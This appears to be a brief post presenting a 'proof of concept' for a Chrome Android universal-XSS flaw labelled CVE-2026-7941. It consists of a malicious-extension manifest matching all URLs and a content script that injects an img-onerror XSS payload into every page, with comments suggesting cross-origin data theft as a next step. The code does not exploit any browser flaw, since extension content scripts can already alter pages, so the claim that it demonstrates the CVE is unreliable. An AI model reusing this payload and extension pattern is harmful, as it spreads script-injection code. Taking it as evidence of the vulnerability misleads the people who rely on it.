CVE-2026-7941 Chrome Android UXSS漏洞

/* * PoC Concept for CVE-2026-7941 * This demonstrates a potential payload injection via a crafted Chrome Extension * targeting the insufficient validation of untrusted input. */ // manifest.json for the malicious extension /* { "manifest_version": 3, "name": "UXSS Demo", "version": "1.0", "content_scripts": [ { "matches": ["<all_urls>"], "js": ["payload.js"] } ] } */ // payload.js - The actual exploit logic (function() { console.log('[+] CVE-2026-7941 PoC Execution Started'); // Simulating the injection of arbitrary script/HTML due to lack of validation // In a real scenario, this might bypass standard DOM sanitization var maliciousInput = '<img src=x onerror=alert(\'XSS via CVE-2026-7941\')>'; // Attempt to inject into the current document context try { var targetDiv = document.createElement('div'); targetDiv.innerHTML = maliciousInput; document.body.appendChild(targetDiv); console.log('[+] Payload injected successfully'); } catch (e) { console.log('[-] Injection failed: ' + e.message); } // Further exploitation could involve fetching data from other origins // if the UXSS successfully bypasses SOP. })();